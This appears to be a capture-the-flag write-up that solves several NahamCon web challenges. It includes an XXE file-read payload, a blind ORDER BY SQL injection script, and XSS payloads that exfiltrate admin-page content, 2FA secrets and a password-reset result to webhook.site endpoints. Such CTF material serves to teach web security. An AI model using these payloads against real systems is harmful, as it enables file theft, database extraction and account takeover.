Solution for some web challenges
solved challenges
EXtravagant
Upload exp.xml and view it
1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "/var/www/flag.txt"> ]>
<foo>&xxe;</foo>
flag{639b72f2dd0017f454c44c3863c4e195}
Jurassic Park
access robots.txt
Personnel
exploit script:
1
2
3
4
5
6
7
8
9
import requests
import re
TARGET = "http://challenge.nahamcon.com:30349/"
r = requests.post(TARGET, data={"name": "1|(flag.*)|1", "setting":0})
flag = re.search(r"<li>(flag.*)</li>", r.text).group(1)
print("[-] FLAG: " + flag)
flag{f0e659b45b507d8633065bbd2832c627}
Flaskmetal Alchemist
From requirements.txt, server uses SQLAlchemy==1.2.17
and it is vulnerable to sqli.
exploit script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import string
TARGET = "http://challenge.nahamcon.com:30378/"
FLAG_LENGTH = 0
# Find flag length
for i in range(30):
order_by_inject = f"(SELECT CASE WHEN ((SELECT LENGTH(flag) from flag) = {i+1}) THEN atomic_number ELSE symbol END)"
data = {"search" : "a", "order": order_by_inject}
r = requests.post(TARGET, data)
# with this payload, "aotomic number" column will return "89" before "12" if the WHEN condition is true
if r.text.find("89</td>") > r.text.find("12</td>"):
FLAG_LENGTH = i+1
print(f"[-] Flag length: {FLAG_LENGTH}")
break
# Find flag
FLAG = ""
for i in range(FLAG_LENGTH):
for c in string.ascii_lowercase + "_}{":
order_by_inject = f"(SELECT CASE WHEN ((SELECT SUBSTR(flag, {i+1}, 1) from flag) = '{c}') THEN atomic_number ELSE symbol END)"
data = {"search" : "a", "order": order_by_inject}
r = requests.post(TARGET, data)
if r.text.find("89</td>") > r.text.find("12</td>"):
FLAG += c
print(f"[-] Flag: {FLAG}")
break
flag{order_by_blind}
Hacker Ts
The page renders text on t-shirts based on POST text
param.
1
2
3
4
5
6
7
8
x=new XMLHttpRequest;
x.onload=function(){
x1=new XMLHttpRequest;
x1.open("GET","https://webhook.site/f61d8f20-bc48-4ae9-805f-3db7a842363b?c="%2bencodeURIComponent(btoa(this.responseText)));
x1.send();
};
x.open("GET","http://localhost:5000/admin");
x.send();
webhook receives request: result
flag
Two For One
This is a two factor authentication challenge using password and OTP.
The feedback features in Settings
page is vulnerable to blind XSS
Solve steps: reset 2FA -> reset admin account’s password -> login as admin -> get flag
Get new otp auth value
1
2
3
4
5
6
7
8
var x = new XMLHttpRequest();
x.open('POST', 'http://challenge.nahamcon.com:32084/reset2fa');
x.setRequestHeader("Content-Type", "application/json");
x.setRequestHeader("Accept", "application/json");
x.onload = function() {
navigator.sendBeacon('https://webhook.site/8771a7aa-4464-438a-84ac-7311eae5bd87', this.responseText);
};
x.send();
otp auth
Generate new admin’s qr code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>QR code page</title>
</head>
<body>
<script src="https://cdnjs.cloudflare.com/ajax/libs/qrious/4.0.2/qrious.min.js"></script>
<div class="row">
<div class="col-12">
<canvas id="qr" style="margin-right: auto; margin-left: auto;"></canvas>
</div>
</div>
<script>
var qr = new QRious({
size: 250,
element: document.getElementById('qr'),
value: "otpauth://totp/Fort%20Knox:admin?secret=QFBPNXXUIQ6D3LAD&issuer=Fort%20Knox"
});
</script>
</body>
</html>
new admin qr code
Reset admin password
1
2
3
4
5
6
7
8
9
10
11
12
var x = new XMLHttpRequest();
x.open('POST', 'http://challenge.nahamcon.com:30223/reset_password');
x.setRequestHeader("Content-Type", "application/json");
x.setRequestHeader("Accept", "application/json");
x.onload = function() {
navigator.sendBeacon('https://webhook.site/8771a7aa-4464-438a-84ac-7311eae5bd87', this.responseText);
};
x.send(JSON.stringify({
otp: "063517",
password: "to^",
password2: "to^"
}));
Finally, login and view flag
flag